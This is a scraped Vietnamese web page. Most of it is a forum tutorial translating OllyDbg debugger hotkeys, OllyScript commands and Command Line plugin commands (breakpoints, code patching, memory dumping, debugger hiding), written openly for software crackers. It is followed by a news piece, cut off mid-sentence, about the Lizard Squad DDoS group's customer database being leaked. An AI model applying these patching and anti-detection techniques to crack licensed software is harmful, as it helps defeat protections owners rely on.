AO---------Ctrl-F8 : Animate Over<br /> RTR--------Ctrl-F9 : Run To Return<br /> RTU-------Alt-F9 : Run To User code<br /> RUN---------F9 : RUN<br /> STI-----------F7: STep Into<br /> STO----------F8: STep Over<br /> ESTI---------Shift-F7: Giống như F7, nhưng nếu khi chương trình dừng lại trên một exception, thì Olly bắt đầu thử chuyển exception đến handler được chỉ định trong chương trình.<br /> ESTO--------Shift-F9: Giống như F9, nhưng nếu khi chương trình dừng lại trên một exception, thì Olly bắt đầu thử chuyển exception đến handler được chỉ định trong chương trình.<br /> TI------------Ctrl-F11: Trace Into<br /> TO-----------Ctrl-F12: Trace Over<br /> TICND------Ctrl-F11 kết hợp với Ctrl-T: Trace Into và set CoNDition<br /> TOCND------Ctrl-F12 kết hợp với Ctrl-T: Trace Over và set CoNDition<br /> PAUSE--------F12 ; PAUSE<br /> <br /> <br /> =================<br /> Đến đây thì xin các bạn cho benina đi ngũ nhe. Buồn ngũ quá rồi. Hôm nào rãnh post tiếp.<br /> <br /> Benina (5/10/2004)<br /> <br /> ---------------------------------------------------------------------------<br /> <br /> <br /> <br /> <br /> PHẦN TIẾP THEO:<br /> <br /> Xin lỗi trước các bạn, vì lỡ khui “thùng bia OllySrcipt” ra rồi thành thử ra phải nhậu cho hết, chứ benina quải quá, không có thời gian để mà nhậu. Muốn gác kiếm rồi nhưng còn vương vấn sự đời nên lâu lâu cũng nhậu vài ba cái TUT cho vui Để có dịp nào thảnh thơi benina sẽ nhậu với các bạn mấy cái Script này cho nó kỹ càng. Còn bây giờ benina chỉ sắp xếp các cái lệnh Script cho các bạn có hệ thống. Đồng thời tóm tắt , và điểm sáng một số lệnh quan trọng để các bạn có khái niệm. Benina sẽ ko dịch tòan bộ các lệnh này, vì thực ra cũng dễ dịch lắm. Nếu bạn nào rãnh rỗi cứ dịch ra cho anh em thì rất tốt.<br /> <br /> <br /> <br /> viii-Các lệnh giống trong ASM:<br /> <br /> Các lệnh này của Script đều có trong tập lệnh ASM, nên thật dễ dàng khi tiếp xúc các lệnh này.<br /> <br /> Quote:<br /> ADD dest, src<br /> -------------<br /> Adds src to dest and stores result in dest<br /> Example:<br /> add x, 0F<br /> add eax, x<br /> add [401000], 5<br /> add y, " times" // If y was 1000 before this command then y is "1000 times" after it<br /> <br /> <br /> AND dest, src<br /> -------------<br /> ANDs src and dest and stores result in dest<br /> Example:<br /> and x, 0F<br /> and eax, x<br /> and [401000], 5<br /> <br /> DEC var<br /> -------<br /> Substracts 1 from variable<br /> Example:<br /> dec v<br /> <br /> <br /> INC var<br /> -------<br /> Adds 1 to variable<br /> Example:<br /> inc v<br /> <br /> MOV dest, src<br /> -------------<br /> Move src to dest.<br /> Src can be a long hex string in the format #<some hex numbers>#, for example #1234#.<br /> Remember that the number of digits in the hex string must be even, i.e. 2, 4, 6, 8 etc.<br /> Example:<br /> mov x, 0F<br /> mov y, "Hello world"<br /> mov eax, ecx<br /> mov [ecx], #00DEAD00BEEF00#<br /> mov !CF, 1<br /> mov !DF, !PF<br /> <br /> OR dest, src<br /> -------------<br /> ORs src and dest and stores result in dest<br /> Example:<br /> or x, 0F<br /> or eax, x<br /> or [401000], 5<br /> SHL dest, src<br /> -------------<br /> Shifts dest to the left src times and stores the result in dest.<br /> Example:<br /> mov x, 00000010<br /> shl x, 8 // x is now 00001000<br /> <br /> SHR dest, src<br /> -------------<br /> Shifts dest to the right src times and stores the result in dest.<br /> Example:<br /> mov x, 00001000<br /> shr x, 8 // x is now 00000010<br /> <br /> <br /> SUB dest, src<br /> -------------<br /> Substracts src from dest and stores result in dest<br /> Example:<br /> sub x, 0F<br /> sub eax, x<br /> sub [401000], 5<br /> <br /> <br /> XOR dest, src<br /> -------------<br /> XORs src and dest and stores result in dest<br /> Example:<br /> xor x, 0F<br /> xor eax, x<br /> xor [401000], 5<br /> ---------------------------------------------------<br /> <br /> <br /> <br /> Tóm lại: các lệnh sắp xếp trong mục này là:<br /> <br /> Quote:<br /> ADD,SUB, DEC,INC, AND,OR,XOR,SHL,SHR, MOV<br /> <br /> <br /> <br /> ix-Lệnh nhảy và lệnh so sánh:<br /> <br /> a>Label(Nhãn)<br /> <br /> Trước hết phải nói về Nhãn (Label) vì lệnh nhảy lúc nào cũng liên quan đến Label. Trong ngôn ngữ lập trình cấp cao, khi ta muốn điều khiển một lệnh nhảy , nhảy đến 1 routine nào, thì ta phải khai báo trước routine đó một cái tên nhãn (label). Lúc đó chương trình chúng ta mới biết đường mà nhảy . Trong Script, lables khai báo như sau:<br /> <br /> Quote:<br /> Labels<br /> ----------<br /> Labels được định nghĩa bằng cách đặt dấu “:” sau một cái name.<br /> Example:<br /> SOME_LABEL:<br /> <br /> <br /> <br /> Sau đây tui cũng xin giới thiệu với các bạn một lệnh định nhãn của Script cho window CPU.<br /> Trong TUT “Let’s cracking by Olly” , tui có post về cách định một nhãn cho một dòng lệnh trong Olly để khi nào ta muốn đến đó debug thì ta cho Olly nhảy đến nhãn đó là xong. Lệnh định nhãn trong Olly là shotcut “:” . Trong Script, nó hổ trợ cho chúng ta thực hiện lệnh trên như sau:<br /> <br /> <br /> Quote:<br /> LBL addr, text<br /> --------------<br /> Inserts a label at the specified address<br /> Example:<br /> lbl eip, "NiceJump"<br /> <br /> <br /> <br /> b>Compare (Lệnh so sánh):<br /> <br /> Như các bạn biết, lệnh so sánh lúc nào cũng đi chung với lệnh nhảy, nên tui sắp xếp chúng vào một mục.<br /> <br /> <br /> Quote:<br /> CMP dest, src<br /> -------------<br /> Compares dest to src. Works like it's ASM counterpart.<br /> Example:<br /> cmp y, x<br /> cmp eip, 401000<br /> <br /> <br /> <br /> c>Jumps(Các lệnh nhảy):<br /> <br /> Các lệnh nhảy trong Script:<br /> <br /> <br /> Quote:<br /> JA label<br /> --------<br /> Use this after cmp. Works like it's asm counterpart.<br /> Example:<br /> ja SOME_LABEL<br /> <br /> JAE label<br /> ---------<br /> Use this after cmp. Works like it's asm counterpart.<br /> Example:<br /> jae SOME_LABEL<br /> <br /> JB label<br /> --------<br /> Use this after cmp. Works like it's asm counterpart.<br /> Example:<br /> jb SOME_LABEL<br /> <br /> JBE label<br /> ---------<br /> Use this after cmp. Works like it's asm counterpart.<br /> Example:<br /> jbe SOME_LABEL<br /> <br /> JE label<br /> --------<br /> Use this after cmp. Works like it's asm counterpart.<br /> Example:<br /> je SOME_LABEL<br /> <br /> JMP label<br /> ---------<br /> Unconditionally jump to a label.<br /> Example:<br /> jmp SOME_LABEL<br /> <br /> JNE label<br /> ---------<br /> Use this after cmp. Works like it's asm counterpart.<br /> Example:<br /> jne SOME_LABEL<br /> <br /> ===============<br /> <br /> <br /> Tóm lại: Các lệnh trong mục này:<br /> <br /> Quote:<br /> Lables in file script;LBL;CMP;JA;JAE;JB;JBE;JE;JNE;JMP<br /> <br /> <br /> <br /> x-Lệnh Patch thay đổi Code :<br /> <br /> Nó tương tự như các lệnh Assemble (Shotcut space), Fill with NOPs, Edit Binary (Ctrl-E):<br /> <br /> Quote:<br /> ASM addr, command<br /> -----------------<br /> Assemble a command at some address.<br /> Returns bytes assembled in the reserved $RESULT variable<br /> Example:<br /> asm eip, "mov eax, ecx"<br /> <br /> FILL addr, len, value<br /> ---------------------<br /> Fills len bytes of memory at addr with value<br /> Example:<br /> fill 401000, 10, 90 // NOP 10h bytes<br /> <br /> REPL addr, find, repl, len<br /> --------------------------<br /> Replace find with repl starting att addr for len bytes.<br /> Wildcards are allowed<br /> Example:<br /> repl eip, #6a00#, #6b00#, 10<br /> repl eip, #??00#, #??01#, 10<br /> repl 401000, #41#, #90#, 1F<br /> <br /> <br /> Tóm lại: Có 3 lệnh để patch:<br /> <br /> Quote:<br /> ASM,FILL,REPL<br /> <br /> <br /> <br /> <br /> xi-Lệnh về breakpoint:<br /> <br /> Trong Script cũng cho ta lệnh set breakpoint. Các bạn chú ý lệnh BP nó giống như set breakpoint Toggle F2, và lệnh BPHWS , nó giống như lệnh bpm trong SI. Tức là set bp tại một address trong vùng nhớ , khi chương trình chạm đến vùng nhớ này, tùy theo mod đọc hay viết vào vùng nhớ này mà nó break chương trình<br /> <br /> <br /> Quote:<br /> BC addr<br /> -------<br /> Clear unconditional breakpoint at addr.<br /> Example:<br /> bc 401000<br /> bc x<br /> bc eip<br /> <br /> BP addr<br /> --------<br /> Set unconditional breakpoint at addr.<br /> Example:<br /> bp 401000<br /> bp x<br /> bp eip<br /> <br /> BPCND addr, cond<br /> ----------------<br /> Set breakpoint on address addr with condition cond.<br /> Example:<br /> bpcnd 401000, "ECX==1"<br /> <br /> BPL addr, expr<br /> --------------<br /> Sets logging breakpoint at address addr that logs expression expr<br /> Example:<br /> bpl 401000, "eax" // logs the value of eax everytime this line is passed<br /> <br /> BPLCND addr, expr, cond<br /> -----------------------<br /> Sets logging breakpoint at address addr that logs expression expr if condition cond is true<br /> Example:<br /> bplcnd 401000, "eax", "eax > 1" // logs the value of eax everytime this line is passed and eax > 1<br /> <br /> BPMC<br /> ----<br /> Clear memory breakpoint.<br /> Example:<br /> bpmc<br /> <br /> BPHWC addr<br /> ----------<br /> Delete hardware breakpoint at a specified address<br /> Example:<br /> bphwc 401000<br /> <br /> BPHWS addr, mode<br /> ----------------<br /> Set hardware breakpoint. Mode can be "r" - read, "w" - write or "x" - execute.<br /> Example:<br /> bphws 401000, "x"<br /> <br /> BPRM addr, size<br /> ---------------<br /> Set memory breakpoint on read. Size is size of memory in bytes.<br /> Example:<br /> bprm 401000, FF<br /> <br /> BPWM addr, size<br /> ---------------<br /> Set memory breakpoint on write. Size is size of memory in bytes.<br /> Example:<br /> bpwm 401000, FF<br /> <br /> <br /> Tóm tắt lệnh:<br /> <br /> Quote:<br /> BC,BP,BPCND,BPL,BPLCND,BPMC,BPHWC,BPHWS,BPRM,BPWM<br /> <br /> <br /> <br /> xii-Lệnh về các hộp thọai:<br /> <br /> Các lệnh liên quan đến việc cho hiển thị hộp đối thọai với srcipt.<br /> <br /> <br /> Quote:<br /> ASK question<br /> ------------<br /> Displays an input box with the specified question and lets user enter a response.<br /> Sets the reserved $RESULT variable (0 if cancel button was pressed).<br /> Example:<br /> ask "Enter new EIP"<br /> cmp $RESULT, 0<br /> je cancel_pressed<br /> mov eip, $RESULT<br /> <br /> <br /> MSG message<br /> -----------<br /> Display a message box with specified message<br /> Example:<br /> MSG "Script paused"<br /> <br /> MSGYN message<br /> -----------<br /> Display a message box with specified message and YES and NO buttons.<br /> Sets the reserved $RESULT variable to 1 if YES is selected and 0 otherwise.<br /> Example:<br /> MSGYN "Continue?"<br /> <br /> <br /> <br /> Tóm lại:<br /> <br /> Quote:<br /> ASK,MSG,MSGYN<br /> <br /> <br /> <br /> xiii-Các lệnh Dump:<br /> <br /> Ứng dụng các lệnh này để ta viết 1 script có chức năng dump chương trình ra 1 file , mà ko cần dùng các phần mềm dump chuyên nghiệp. Đặc biệt các bạn chú ý lệnh dump DPE<br /> <br /> <br /> Quote:<br /> DM addr, size, file<br /> -------------------<br /> Dumps memory of specified size from specified address to specified file<br /> Example:<br /> dm 401000, 1F, "c:\dump.bin"<br /> <br /> DMA addr, size, file<br /> -------------------<br /> Dumps memory of specified size from specified address to specified file appending to that file if it exists<br /> Example:<br /> dma 401000, 1F, "c:\dump.bin"<br /> <br /> DPE filename, ep<br /> ----------------<br /> Dumps the executable to file with specified name.<br /> Entry point is set to ep.<br /> Example:<br /> dpe "c:\test.exe", eip<br /> <br /> <br /> Tóm lại:<br /> <br /> Quote:<br /> DM,DMA,DPE<br /> <br /> <br /> <br /> xiv-Các lệnh về tìm kiếm:<br /> <br /> Các lệnh này rất quan trọng trong việc đọc TUT MUP, các bạn nên hiểu rõ các lệnh này. Tui xin dịch các lệnh FINDOP cho các bạn<br /> <br /> <br /> Quote:<br /> FIND addr, what<br /> ---------------<br /> Searches memory starting at addr for the specified value.<br /> When found sets the reserved $RESULT variable. $RESULT == 0 if nothing found.<br /> The search string can also use the wildcard "??" (see below).<br /> <br /> Example:<br /> find eip, #6A00E8# // find a PUSH 0 followed by some kind of call<br /> find eip, #6A??E8# // find a PUSH 0 followed by some kind of call<br /> <br /> FINDOP addr, what<br /> -----------------<br /> Searches code starting at addr for an instruction that begins with the specified bytes.<br /> When found sets the reserved $RESULT variable. $RESULT == 0 if nothing found.<br /> The search string can also use the wildcard "??" (see below).<br /> Example:<br /> findop 401000, #61# // find next POPAD<br /> findop 401000, #6A??# // find next PUSH of something<br /> <br /> <br /> <br /> Lệnh này có ý nghĩa như sau:<br /> Tìm một chỉ thị lệnh bắt đầu với những bytes được chỉ định trong tham số what .Địa chỉ bắt đầu tìm kiếm là địa chỉ addr . Khi đã tìm xong, nó sẽ set kết quả địa chỉ dòng lệnh trong biến $RESULT. Nếu $RESULT==0 tức là ko tìm thấy. Khi tìm kiếm string cũng có thể dùng widcard “??”. Xem các ví dụ trên<br /> Lệnh này rất hay dùng trong các TUT MUP để tìm kiếm một dòng lệnh nào đó.<br /> Chú ý: Lệnh Find và FindOP khác nhau ở chồ: Find thì tìm trong memory cái gì đó còn FindOP thì tìm dòng lệnh code.<br /> <br /> Tóm tắt các lệnh :<br /> <br /> Quote:<br /> FIND,FINDOP<br /> <br /> <br /> <br /> xv-Các lệnh về liên quan đến log window:<br /> <br /> Các lệnh sau can thiệp vào của sổ Log trong Olly (Trong Olly bạn nhấn button “L” trên thanh menu để cho hiển thị cửa sổ Log.Cửa sổ này ghi nhận lại những gì mà Olly đã Log trong quá trình thực thi chương trình.Cửa sổ này cũng có thể ứng dụng trong Filegen để tìm file lưu serial)<br /> <br /> <br /> Quote:<br /> #LOG<br /> ----<br /> Enables logging of executed commands.<br /> The commands will appear in OllyDbg log window, and will be prefixed with --><br /> Example:<br /> #log<br /> <br /> Ghi chú: Lệnh này sẽ cho hiển thị các lệnh trong script mà nó đã thực thi trong cửa sổ Log<br /> <br /> LOG src<br /> -------<br /> Logs src to OllyDbg log window.<br /> If src is a constant string the string is logged as it is.<br /> If src is a variable or register its logged with its name.<br /> Example:<br /> log "Hello world" // The string "Hello world" is logged<br /> var x<br /> mov x, 10<br /> log x // The string "x = 00000010" is logged.<br /> <br /> <br /> Tóm tắt:<br /> <br /> Quote:<br /> #LOG, LOG<br /> <br /> <br /> <br /> xvi-Các lệnh Gets:<br /> <br /> Các lệnh này chủ yếu để lấy thông tin nào đó từ dữ liệu ta cung cấp<br /> <br /> <br /> Quote:<br /> GN addr<br /> -------<br /> Gets the symbolic name of specified address (ex the API it poits to)<br /> Sets the reserved $RESULT variable<br /> Example:<br /> gn 401000<br /> <br /> GPA proc, lib<br /> -------------<br /> Gets the address of the specified procedure in the specified library.<br /> When found sets the reserved $RESULT variable. $RESULT == 0 if nothing found.<br /> Useful for setting breakpoints on APIs.<br /> Example:<br /> gpa "MessageBoxA", "user32.dll" // After this $RESULT is the address of MessageBoxA and you can do "bp $RESULT".<br /> <br /> GMI addr, info<br /> --------------<br /> Gets information about a module to which the specified address belongs.<br /> "info" can be MODULEBASE, MODULESIZE, CODEBASE or CODESIZE (if you want other info in the future versions plz tell me).<br /> Sets the reserved $RESULT variable (0 if data not found).<br /> Example:<br /> GMI eip, CODEBASE // After this $RESULT is the address to the codebase of the module to which eip belongs<br /> <br /> <br /> <br /> Tóm tắt:<br /> <br /> Quote:<br /> Các lệnh này mới rất hay. Tui tóm tắt như sau<br /> GN: Ứng dụng lấy tên của hàm API tại địa chỉ chỉ định<br /> GPA : Ứng dụng lấy địa chỉ của một hàm API nào đó để đặt bp tại địa chỉ đó<br /> GMI: Thấy thông tin về module mà eip(hay một adrr) đang trỏ. Nhiều khi tử huyệt cần crack ko nằm trong file exe mà lại nằm trong file dll. Ta ứng dụng lệnh này để lấy thông tin module<br /> <br /> <br /> <br /> <br /> <br /> xvii-Các lệnh Tranfer (dời thao tác)<br /> <br /> (dời sự thực thi của script đến một label nào đó trong trong file script):<br /> Có 2 trạng thái cần phân biệt:<br /> -Breakpoint (Điểm ngắt trong Olly): Ngắt do người dùng ép buộc<br /> -Exception (sự phản kháng của Olly): Ngắt do Olly phản kháng.<br /> Các lệnh này can thiệp vào 2 trạng thái ngắt ở trên. Mục đích chính của các lệnh này là báo cho Script biết, khi nào ngắt xảy ra thì rời ngắt thực thi tiếp (COB,COE) hay nhảy đến một đọan script nào đó thực thi tiếp(EOB,EOE). Vì vậy khi viết script, lệnh này đặt đâu cũng được miễn trước break mà ta dự tính sẽ xử lý.<br /> <br /> <br /> Quote:<br /> EOB label<br /> ---------<br /> Transfer execution to some label on next breakpoint.<br /> Example:<br /> eob SOME_LABEL<br /> <br /> EOE label<br /> ---------<br /> Transfer execution to some label on next exception.<br /> Example:<br /> eob SOME_LABEL<br /> COB<br /> ---<br /> Makes script continue execution after a breakpoint has occured (removes EOB)<br /> Example:<br /> COB<br /> <br /> COE<br /> ---<br /> Makes script continue execution after an exception has occured (removes EOE)<br /> Example:<br /> COE<br /> <br /> <br /> <br /> Tóm tắt:<br /> <br /> <br /> Quote:<br /> EOB,EOE,COB,COE<br /> <br /> <br /> <br /> xiii-Các lệnh thực thi trong Script:<br /> <br /> Lệnh dễ và cũ , tui ko dịch , chỉ dịch các lệnh mới mà thôi<br /> <br /> <br /> Quote:<br /> #INC file<br /> ---------<br /> Includes a script file in another script file<br /> Example:<br /> #inc "anotherscript.txt"<br /> CMT addr, text<br /> --------------<br /> Inserts a comment at the specified address<br /> Example:<br /> cmt eip, "This is the entry point"<br /> RET<br /> ---<br /> Exits script.<br /> Example:<br /> ret<br /> DBH<br /> ---<br /> Hides debugger<br /> Example:<br /> dbh<br /> <br /> DBS<br /> ---<br /> Unhides debugger<br /> Example:<br /> dbs<br /> <br /> <br /> <br /> EVAL<br /> ----<br /> Mục đích: Kết hợp một string với một giá trị đã tính tóan thành một string mới được set trong biến $RESULT<br /> <br /> Evaluates a string expression that contains variables.<br /> The variables that are declared in the current script can be enclosed in curly braces {} to be inserted.<br /> Sets the reserved $RESULT variable<br /> Example:<br /> var x<br /> mov x, 1000<br /> eval "The value of x is {x}" // after this $RESULT is "The value of x is 00001000"<br /> <br /> EXEC/ENDE<br /> ---------<br /> Mục đích của các lệnh này là can thiệp vào trong quá trình thực thi của Olly, như thay đổi giá trị thanh ghi, hay exit tiến trình thực thi.<br /> <br /> Executes instructions between EXEC and ENDE in the context of the target process.<br /> Values in curly braces {} are replaced by their values.<br /> Example:<br /> // This does some movs<br /> var x<br /> var y<br /> mov x, "eax"<br /> mov y, "0DEADBEEF"<br /> exec<br /> mov {x}, {y} // mov eax, 0DEADBEEF will be executed<br /> mov ecx, {x} // mov ecx, eax will be executed<br /> ende<br /> // This calls ExitProcess in the debugged application<br /> exec<br /> push 0<br /> call ExitProcess<br /> ende<br /> ret<br /> <br /> GO addr<br /> -------<br /> Executes to specified address (like G in SoftIce)<br /> Example:<br /> go 401005<br /> <br /> <br /> Integration with other plugins (tích hợp với một plugins khác)<br /> ---------------------------------<br /> You can call OllyScript from your plugin and make it execute a script.<br /> Use something like the source code below:<br /> (Bạn có thể gọi OllScript từ một plugin củ abạn và bắt nó thực thi một script .Ta xử dụng hàm này<img border="0" src="http://www.hvaonline.net/hvaonline/images/smilies/b5e9b4f86ce43ca65bd79c894c4a924c.gif" /><br /> <br /> HMODULE hMod = GetModuleHandle("OllyScript.dll");<br /> if(hMod) // Check that the other plugin is present and loaded<br /> {<br /> // Get address of exported function<br /> int (*pFunc)(char*) = (int <img border="0" src="http://www.hvaonline.net/hvaonline/images/smilies/76ec624536d56442d32f4d929544379e.gif" />(char*)) GetProcAddress(hMod, "ExecuteScript");<br /> if(pFunc) // Check that the other plugin exports the correct function<br /> pFunc("myscript.txt"); // Execute exported function<br /> }<br /> <br /> <br /> <br /> Tóm tắt:<br /> <br /> Quote:<br /> #INC,CMT,RET,DBH,DBS, EXEC/ENDE,EVAL,GO, HMODULE<br /> <br /> <br /> Đến đây là hết TUT này. Benina hy vọng qua TUT này , các cracker sẽ viết rất nhiều script tuyệt đẹp.<br /> Benina (9/10/2004)<br /> <br /> <br /> ------------------------------------------------------------------------------<br /> <br /> <br /> <br /> <br /> Command Line Plugin<br /> <br /> <br /> <br /> <br /> Welcome, sau một thời gian làm quen với Olly hôm nay em xin giới thiệu với mọi người một Plugin không kém phần quan trọng của Olly , đó chính là Plugin Command Line. Mặc dù còn nhiều tính năng hạn chế nhưng Plugin này cũng vẫn cung cấp cho chúng ta các chức năng đầy đủ mà một chương trình debug cần phải có. Nhưng bù lại thì mã nguồn của Plugin này là mở cho nên cho phép chúng ta add thêm bất kì câu lệnh mới nào vào đồng thời nó cũng cho phép chúng ta chỉnh sửa các chức năng của những câu lệnh đã có. Bài viết này được dịch ra từ file Help , mong rằng sẽ đáp ứng được phần nào thông tin , cũng như chức năng cơ bản của Plugin này.<br /> <br /> Như chúng ta đã biết , để gọi Plugin này trong Olly chúng ta dùng phím tắt sau : Alt + F1. Hiện tại theo tài liệu mà em có thì Plugin này hỗ trợ những câu lệnh sau :<br /> <br /> 1. Expressions (Biểu thức) :<br /> <br /> Code:<br /> CALC expression : Tính toán giá trị của một biểu thức<br /> ? expression : Tương tự như trên<br /> expression (kí tự đầu tiên không được là chữ cái) : Tương tự như trên<br /> WATCH expression : Theo dõi, quan sát một biểu thức<br /> W expression : Tương tự2. Assignments (Gán) :<br /> <br /> Code:<br /> SET reg=expression : Ghi giá trị của biểu thức vào thanh ghi chung 8, 16, hay 32 bits<br /> reg=expression : Tương tự<br /> SET memory=expression : Ghi giá trị của biểu thức vào bộ nhớ 8 , 16, hay 32 bits3. Disassembler :<br /> <br /> Code:<br /> AT expression : Theo dõi địa chỉ trong cửa sổ Disassembler<br /> FOLLOW expression : Tương tự<br /> ORIG : Đi tới thanh ghi EIP hiện tại<br /> * : Tương tự4. Dump and Stack :<br /> <br /> Code:<br /> D expression : Theo một địa chỉ trong cửa sổ Dump<br /> DUMP expression : Tương tự<br /> DA [expression] : Dump theo dạng assembler<br /> DB [expression] : Dump ở dạng byte (hexa)<br /> DC [expression] : Dump dưới dạng ASCII text<br /> DD [expression] : Dump dưới dạng địa chỉ (áp dụng cho stack)<br /> DU [expression] : Dump theo dạng Unicode text<br /> DW [expression] : Dump ở dạn word (hexa)<br /> STK expression : Lần theo một địa chỉ trong Stack5. Assembling :<br /> <br /> Code:<br /> A expression [,command] : Assemble tại một địa chỉ6. Labels and comments (Các lệnh liên quan đến nhãn và chú thích):<br /> <br /> Code:<br /> L expression, label : Gán nhãn cho một địa chỉ<br /> C expression, comment : Gán chú thích tại một địa chỉ7. Breakpoint commands (Các lệnh liên quan đến việc đặt BP trong Olly):<br /> <br /> Code:<br /> BP expression [,condition] : Đặt breakpoint INT3 tại địa chỉ<br /> BPX label : Đặt breakpoint lên tất cả các hàm Call<br /> BC expression : Xóa điểm đặt BP tại địa chỉ<br /> MR expression1 [,expression2] : Đặt một BP là memory on access trên một phạm vi nào đó<br /> MW expression1 [,expression2] : Đặt một BP là memory on write trên một phạm vi nào đó<br /> MD : Xóa điểm đặt BP memory<br /> HR expression : Đặt 1-byte BP có dạng hardware on access lên một địa chỉ<br /> HW expression : Đặt 1-byte BP có dạng hardware on write lên một địa chỉ<br /> HE expression : Đặt một BP có dạng hardware on execute lên một địa chỉ<br /> HD [expression] : Xóa điểm đặt hardware BP tại một địa chỉ8. Tracing commands (Các lệnh liên quan đến việc Trace code trong Olly):<br /> <br /> Code:<br /> STOP : Tạm dừng sự thi hành<br /> PAUSE : Tương tự<br /> RUN : Chạy chương trình<br /> G [expression] : Chạy chương trình đến một địa chỉ nào đó<br /> GE [expression] : Bỏ qua các ngoại lệ để điều khiển và chạy đến một địa chỉ nào đó<br /> <br /> S : Nhảy vào trong một hàm<br /> SI : Tương tự<br /> SO : Nhảy qua một hàm<br /> T [expression] : Trace vào trong một hàm đến một địa chỉ nào đó<br /> TI [expression] : Tương tự<br /> TO [expression] : Trace qua một hàm đến một điạh chỉ nào đó<br /> TC condition : Trace vào trong một hàm đến một điều kiện nào đó<br /> TOC condition : Trace qua một hàm đến một điều kiện nào đó<br /> TR : Thực thi cho đến khi Return<br /> TU : Thực thi cho đến đoạn user code9. OllyDbg windows (Các lệnh liên quan đến cửa sổ):<br /> <br /> Code:<br /> LOG : Xem cửa sổ Log<br /> MOD : Xem cửa sổ Executable<br /> MEM : Xem cửa sổ Memory<br /> CPU : Xem cửa sổ CPU<br /> CS : Xem cửa sổ Call Stack<br /> BRK : Xem cửa sổ Break Points<br /> OPT : Xem cửa sổ Options10. Miscellaneous commands (Các lệnh khác):<br /> <br /> Code:<br /> EXIT : Đóng OllyDbg<br /> QUIT : Tương tự<br /> OPEN [filename] : Mở một file để Debug (executable file or dll)<br /> CLOSE : Đóng chương trình đang Debug<br /> RST : Restart lại chương trình đang Debug<br /> HELP : Mở cửa Help của Plugin Command Line<br /> HELP OllyDbg : Mở cửa sổ Help của Olly<br /> HELP APIfunction : Mở cửa sổ Help của hàm API<br /> Các lệnh dùng trong Plugin Command Line không phân biệt chữ hoa và chữ thường , các tham số trong ngoặc vuông là những tùy chọn. Các biểu thức có thể bao gồm các hằng số, các thanh ghi và các tham chiếu bộ nhớ , bên cạnh đó nó còn hỗ trợ tất cả các phép tính số học cơ bản và các Boolean Function. Theo mặc định thì tất cả các hằng số đều ở dạng Hexa. Để biểu diễn các hằng số về dạng Decimal , đi kèm nó là dấu thập phân. Ví dụ :<br /> <br /> <br /> Code:<br /> 1. 2 + 2 : Tính toán giá trị của biểu thức (Cộng ở kiểu Hexa);<br /> <br /> 2. 2.0 + 2.0 : Tính toán giá trị của biểu thức (Cộng ở kiểu thập phân);<br /> <br /> 3. AT [EAX+10] : disassemble tại địa chỉ mà địa chỉ này là nội dung của Dw mem tại địa chỉ EAX + 0x10;<br /> <br /> 4. BP KERNEL32.GetProcAddress : Đặt một BP lên hàm API . Chú ý bạn có thể đặt một BP trong file Dll hệ thống , nhưng chỉ đối với các hệ điều hành NT;<br /> <br /> 5. BPX GetProcAddress : Đặt BP lên tất cả các lệnh gọi hàm API GetProcAddress;<br /> <br /> 6. BP 412010,EAX==WM_CLOSE : Đặt một Conditional BP tại địa chỉ 0x412010. Chương trình sẽ dừng lại khi mà giá trị của EAX = WM_CLOSE;<br /> kienmanowar(REA – cRaCkErTeAm) – 05/01/2005</span></div>

Sử dụng OllyDBG cơ bản!

OllyDBG hiện giờ đang được sử dụng rất phổ biến nhờ giao thân thiện của nó. Tôi mạn phép post mấy bài hướng dẫn của các pác QHQCrker; beni...

Read More »

Nhóm hacker đánh sập PlayStation Network bị… hack tơi bời

<p><strong>Bên cạnh những nhóm hacker rất được yêu quý như Anonymous, cũng có nhiều nhóm hacker bị cộng đồng mạng “ghét cay ghét đắng”. Ví dụ điển hình nhất là Lizard Squad, nhóm hacker chịu trách nhiệm đánh sập các dịch vụ chơi game PlayStation Network và Xbox Live trong mùa nghỉ lễ cuối năm vừa qua.</strong></p><p style="text-align: center;"><a href="http://securitydaily.net/wp-content/uploads/2015/01/1372300.jpg" onclick="_gaq.push(['_trackEvent', 'outbound-article-int', 'http://securitydaily.net/wp-content/uploads/2015/01/1372300.jpg', '']);" rel="lightbox[gallery-kED5]"><img alt="1372300" class="aligncenter size-full wp-image-10158" src="http://securitydaily.net/wp-content/uploads/2015/01/1372300.jpg" /></a></p><p id="aui_3_2_0_1419">Lý do nào khiến cho <strong>Lizard Squad</strong> bị căm ghét tới vậy? Đầu tiên, nhóm hacker này đã đánh sập 2 dịch vụ chơi game dành cho PlayStation 4 và Xbox One, khiến cho hàng triệu game thủ phải “ăn không ngồi rồi” trong kỳ nghỉ cuối năm. Tiếp đó, vụ tấn công của Lizard Squad xảy ra trong bối cảnh Sony đang lao đao vì vụ hack khổng lồ mà phía Mỹ cáo buộc là “do Triều Tiên thực hiện”. Cuối cùng, nhóm hacker này thậm chí còn ra mắt công cụ hack LizardStresser cho phép bất kỳ ai cũng có thể thực hiện DDoS (tấn công từ chối dịch vụ) với giá 6 USD (khoảng 130.000 đồng) cho một lần tấn công.</p><p>Và sớm hay muộn, điều gì phải đến cũng đã đến: hệ cơ sở dữ liệu (Database) của Lizard Squad vừa bị hack, khiến cho toàn bộ thông tin các khách hàng mua công cụ hack của Lizard bị tung lên mạng. Một blogger nổi tiếng chuyên về bảo mật có tên Brian Krebs cho biết:</p><blockquote><p id="aui_3_2_0_1422">“Một bản database chứa thông tin người mua LizardStresser cho thấy công cụ này đã thu hút được 14.241 người dùng đăng ký, nhưng trong số này chỉ có khoảng vài trăm người thực sự trả phí. Buồn cười là tất cả các tên người dùng và mật khẩu đều bị lưu thành văn bản thuần túy (không mã hóa). Đồng thời, database này cũng cho thấy khách hàng mua LizardStresser đã gửi khoảng 11.000 USD trị giá Bitcoin để đặt lệnh tấn công vào một loạt các trang web quốc tế”.</p></blockquote><div id="attachment_10159" style="width: 1081px" class="wp-caption aligncenter"><a href="http://securitydaily.net/wp-content/uploads/2015/01/lssupport.png" onclick="_gaq.push(['_trackEvent', 'outbound-article-int', 'http://securitydaily.net/wp-content/uploads/2015/01/lssupport.png', '']);" rel="lightbox[gallery-kED5]"><img alt="lssupport" class="wp-image-10159 size-full" height="815" src="http://securitydaily.net/wp-content/uploads/2015/01/lssupport.png" width="1071" /></a><p class="wp-caption-text">Ảnh chụp lại thông tin những người đã “đặt” hack qua LizardStresser</p></div><p style="text-align: left;">Trong một diễn tiến khác, một công dân Anh 18 tuổi chưa rõ tên cũng đã bị bắt tại thành phố Southport do bị nghi ngờ dính dáng tới Lizard Squad. Trước đó, vào cuối tháng 12, cảnh sát Anh cũng đã bắt giữ một công dân 22 tuổi tại Nam London trong cuộc điều tra phối hợp với FBI về các vụ hack nhắm vào 